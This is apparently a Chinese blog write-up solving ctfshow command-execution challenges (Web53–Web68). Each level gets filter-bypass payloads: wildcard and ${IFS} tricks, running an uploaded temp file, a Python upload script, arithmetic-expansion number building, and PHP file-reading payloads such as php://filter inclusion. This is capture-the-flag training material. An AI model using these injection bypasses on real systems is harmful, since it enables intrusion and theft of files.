前言
好,继续冲
Web53
过滤了很多,默认system输入的是返回值而不是结果值
?c=ta''c${IFS}fla?.php
Web54
过滤很多 tac被过滤了
但是cp和mv都没被过滤
?c=cp${IFS}fla?.php${IFS}t.txt
Web55(熟悉掌握三种方法)
看似过滤的少,实际上砍到大动脉了 因为过滤了a-z
方法一:
我们可以用来把flag.php的内容转为base64并且进行解码
过滤了a-z我们之间?代替 数字没被禁数字之外的用?等价代替
我们的命令本来是?c=/bin/base64 flag.php
转换后则是
?c=/???/????64 ????.???
解码即出
方法二:
还有一种做法,就是使用 /usr/bin/bzip2 进行对文件的压缩
?c=/???/???/????2 ????.???
然后 最后访问 /flag.php.bz2进行下载压缩包
方法三:
这个方法最逆天了
我们知道在linux中./你的文件名.后缀 是可以执行脚本文件的
然而这个靶没有过滤.和/ 我们就可以上传文件进行执行
制作一个POST表单
我们知道php上传文件会临时储存在/tmp/phpXXXXX里大都是时一共是八位数000
代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://397b0d14-e767-4f60-be9d-4f74a60155d5.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
我们进行抓包改数据
发送到重放器里
/?c=.%20/???/????????[@-[]
ok拿flag
Web56
web56把0-9给过滤了
所以55的前两种方法都不能用 但是第三种逆天的方法是可以用的
/?c=.%20/???/????????[@-[]
方法二:
python脚本 (ctfshow的wp)
把地址填成自己的 godyu.txt里面写cat flag.php
import time
import requests
url = "http://2721d06e-62f6-413e-a90c-79f6c9b21c60.challenge.ctf.show/"
payload = {"c":". /???/????????[@-[]"}
with open('.\\godyu.txt','r') as file:
files = {'file': file}
while 1:
r = requests.post(url,params=payload,files=files)
if r.text:
print("\n" + r.text)
break
time.sleep(1)
print(".", end=' ',flush=True)
Web57
过滤的更多了 但flag是在36.php
我们想办法弄出来36
这题可变态来着、
在linux里我们输出$(())
所以$(())代表就是0
我们使用二进制取反如果是正数的话1取反得到0 0取反得到1
在二进制里计算二进制通常取消取反算原码补码什么的(可惜域是软工专业不是计算机专业)不过也了解一些底层原理
对于正整数,取反运算的结果是其本身加1的负数;对于负整数,取反运算的结果是其本身加1的绝对值;对于0,取反运算的结果是-1;对于-1,取反运算的结果是0。
-0再次取反得-1
在套娃
在套娃
我们放37个这个$(())这个玩意取反就能得到36
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
打payload
查看源代码就可以出
到这里域感觉都有点打不动的感觉哈哈,,,,
Web58
别看传的少,后台禁止了很多函数
我们试一下phpinfo();
被禁止了
system也被禁止了
方法一:
使用远程包含
c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=flag.php
解码一下
方法二:
读取文件
c=echo file_get_contents('flag.php');
查看一下源代码就出
汗流浃背了
Web59
跟上一题一样 但禁用的函数没有说
file_get_contents函数已经被禁止了
但include没有禁止
c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=flag.php
继续打
Web60
与上关一样
c=highlight_file("flag.php");
c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=flag.php
都可以打通
Web61
c=highlight_file("flag.php");
还是直接打通
Web62
c=highlight_file("flag.php");
还是能打通
Web63
服了还是上关payload
c=highlight_file("flag.php");
当然这几关远程包含或者其他方式都可以
c=show_source("flag.php");
Web64
上一关payload继续打
Web65
不会吧不会吧….家人们谁懂啊
上一关的继续打
直接拿
Web66
可以可以show_source被禁止了
我们在看看
反过来看题目给的提示
看来是真被秀了一波
print_r回显 echo是不会显的
scandir读取/根目录以及子目录的信息
c=print_r(scandir("/"));
好在秀一波吧
c=highlight_file("../../../../../flag.txt");
Web67
扣6
查看目录发现print_r被禁止了
不一定非得用print_r var_dump也可以使用
c=var_dump(scandir("/"));
拿
c=highlight_file('/flag.txt');
Web68
打开一看只有一句话
列目录
c=var_dump(scandir("/"));
file_get_contents被禁用
我们看看include
没被禁
c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=/flag.txt
OK结束
暂无评论内容